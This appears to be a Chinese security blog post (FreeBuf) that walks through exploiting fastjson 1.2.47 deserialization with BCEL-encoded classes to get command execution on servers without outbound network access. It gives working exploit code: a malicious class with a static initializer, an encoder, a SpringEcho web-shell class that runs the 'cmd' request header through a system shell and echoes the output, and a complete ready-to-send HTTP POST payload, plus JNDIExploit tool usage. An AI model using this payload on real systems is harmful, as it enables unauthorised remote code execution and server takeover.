利用BCEL打fastjson直接burp回显getshell
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
写作背景
实战中打点的话,java漏洞是最爽的,一打就是root权限。以fastjson为例,之前我曾经写过漏洞的原理,但是公网遇到的漏洞越来越少,大多都是在内网的环境,内网里没办法使用dnslog去探测回显。这里学习一下用bcel链直接在bp中产生回显进而getshell。
bcel调试分析
这里借用Zh1z3ven师傅的代码
准备一个恶意类
import java.io.IOException;
public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
测试Demo
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELDemo {
public static void main(String[] args) throws Exception {
//使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
//'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
JavaClass cls = Repository.lookupClass(calc.class);
//使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
//创建了一个ClassLoader对象,调用其loadClass方法
//loadClass方法用于加载类,接收一个字符串参数表示要加载的类的名称(这里的类通过将'$$BCEL$$'字符串和变量'code'拼接得到),再通过调用.newInstance方法创建一个新的对象
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
测试结果
可以看到我们控制台上不仅出现了一段看不懂的加密字符,还弹出了计算器,说明我们的恶意代码被执行了。
代码分析调试
- 我们在弹出计算器的这段代码打上断点,f7步入ClassLoader,创建完毕一个ClassLoader对象
- 继续步入loadClass方法,这里上将给定的ClassLoader类作为参数传递给loadClass方法,返回调用loadClass的重载方法进行类加载,默认将第二个参数var2设置为false。
- f7步入laodClass的实现方法,这里主要是实现类加载机制,通过一系列尝试来加载指定的类,并返回对应的Class对象。
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
//第一次尝试,在哈希表查找类
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
//第二次尝试:使用系统类加载器加载系统类
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
//第三次尝试:特殊请求?
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository 第四次尝试:通过仓库加载类
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader 第四次尝试:使用默认类加载器
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
- 源码给了四次尝试:
- 第一次尝试是从一个哈希表中查找已加载的类对象。如果找到,则直接返回该类对象。
- 第一次如果没找到,会进行第二次尝试,这一次是使用系统类加载器加载系统类。在这之前,会检查类名是否以指定的忽略包名开头。如果是,则将加载任务交给deferTo类加载器来处理。
- 第二次也没找到的话,会进行第三次尝试。第三次尝试会进行特殊请求处理。具体来说,它会检查类名中是否包含特定的标识字符串"$$BCEL$$",如果是,则通过调用createClass方法创建一个特殊类。
- 第三次也失败的话,就会进行第四次尝试。这次代码将尝试使用仓库加载类,它会调用repository对象的loadClass方法来尝试加载类。如果成功加载到类对象,则会对该类对象进行修改操作(通过调用modifyClass方法)。第四次失败的话会抛出ClassNotFoundException异常。
- 只要成功加载到类对象(通过任一尝试),就会调用defineClass方法定义类,并返回对应的Class对象。如果在加载类时指定了resolve参数为true,则会调用resolveClass方法对类进行解析。最后,将加载的类对象存储到哈希表中,并返回该类对象。
- f8步过,我们的class_name就是一长串bcel的加密字符串,所以在第三次尝试时会调用creatClass(class_name)方法
- 进入creatClass方法详细分析一下
protected JavaClass createClass(String class_name) {
//调用indexOf方法查找类名中特定的标记"BCEL"的位置,将其索引存储在index变量中
int index = class_name.indexOf("$$BCEL$$");
//调用substring方法从标记后面开始提取真实的类名部分,并将其存储在real_name变量中。
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
//调用Utility.decode方法对real_name进行解码,将解码后的字节数组存储在bytes变量中
byte[] bytes = Utility.decode(real_name, true);
//创建一个ClassParser对象,将解码后的字节码数组作为输入流,并提供一个任意的字符串作为参数,这里使用"foo"
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
//调用parse()方法,ClassParser会解析字节码并返回一个JavaClass对象
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
//方法返回创建的JavaClass对象,以便进行进一步的字节码操作或分析
return clazz;
}
}
最终返回的就是这个calc对象
- 因为我们的clazz类不为空,首先获取clazz的字节数组,随后调用defineClass() 方法将字节数组中的类定义加载到内存中,并创建对应的 Class 对象
- 最终将加载的类存储到哈希表中,返回加载的类对象
- 之后在newInstance()初始化时,会调用calc的代码执行
公网利用jndi工具bp回显getshell
- java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.20.10.11
- 查看工具使用:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
- bp打payload
- 工具回显
不出网利用bcel直接回显shell
环境搭建
这里借用fastjson1.2.47环境进行复现,环境搭建完毕后访问127.0.0.1:9002/json
核心代码分析
这里有三段代码,分别是BCELEncode,SpringEcho以及SpringEcho.class,看名字可以知道BCELEncode是用来加密的,SpringEcho.class是SpringEcho的编译后的.class文件。
BCELEncode
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.FileOutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class BCELEncode {
public static String class2BCEL(String classFile) throws Exception{
//将classFile转换为Path对象
Path path = Paths.get(classFile);
//使用Files.readAllBytes(path)方法读取类文件的内容,并将其存储在字节数组bytes中
byte[] bytes = Files.readAllBytes(path);
String result = Utility.encode(bytes,true);
//返回Base64编码字符串
return result;
}
public static void decode(String str) throws Exception{
//解码为字节数组
byte[] s = Utility.decode(str,true);
//把字节数组s写入"payload.class"的文件
FileOutputStream fos = new FileOutputStream("payload.class");
fos.write(s);
fos.close();
}
public static void main(String[] args) throws Exception {
//System.getProperty("user.dir")获取当前工作目录,并将相对路径与"SpringEcho.class"连接起来,得到Java类文件的完整路径。
// 然后,调用BCELEncode.class2BCEL方法,并将Java类文件的完整路径作为参数传递给它。这个方法将Java类文件编码为Base64编码字符串,并通过System.out.println将结果打印到控制台。
System.out.println(BCELEncode.class2BCEL(System.getProperty("user.dir")+"\\src\\test\\java\\com\\fastjson\\vul\\" +"SpringEcho.class"));
}
}
SpringEcho
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringEcho {
//静态代码块在类加载的时候就会去执行
static {
try {
//首先获取当前的HttpServletRequest和HttpServletResponse对象。
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
//通过反射获取HttpServletRequest的"getHeader"方法,用于获取HTTP请求头"cmd"的值,通过变量"cmd"执行系统命令。
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
//这里对操作系统做了判断,windows和linux的采用cmd和/bin/bash来命令执行
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
//使用反射获取"writer"对象的方法,然后执行命令并输出结果
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {
}
}
}
payload复现
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Conten-Type: application/json
cmd: hostname
Content-Length: 3647
{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
} : "xxx"
}
}
Fastjson BCEL Poc原理讲解
- 我们对BCELEncode代码进行跟进,可以看到首先获取classFile文件,在本地主机的E盘文件下,随后将path保存在bytes[]数组里;最后对bytes[]进行bcel加密,返回bcel加密后的字符串
- 当我们发送burp的payload,服务器首先会对payload进行反序列化,根据@type找到java.lang.Class类中的“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”、“com.sun.org.apache.bcel.internal.util.ClassLoader”,以及“com.alibaba.fastjson.JSONObject”类中的"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"和驱动加载“"com.sun.org.apache.bcel.internal.util.ClassLoader"”
- 随后服务器会对加密的“$$BCEL$$$l$8b$I$A$A$A$A$A$A。。。”字符串进行解密,解码为字节数组,最终会解密成最初的恶意类SpringEcho.class文件
- 在我们解密后的SpringEcho.class中就存在命令执行,针对服务器的操作系统类型,将结果回显在response中
小结
- 根据fastjson的payload,首先反序列化找到加密的BCEL代码;
- 对BCEL进行解密,找到解密后的恶意类.class文件;
- 在.class文件中就存在命令执行,并将回显结果输出在response上。
参考链接
https://www.cnblogs.com/CoLo/p/15869871.html
https://www.freebuf.com/vuls/360993.html
https://www.freebuf.com/articles/web/366131.html
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录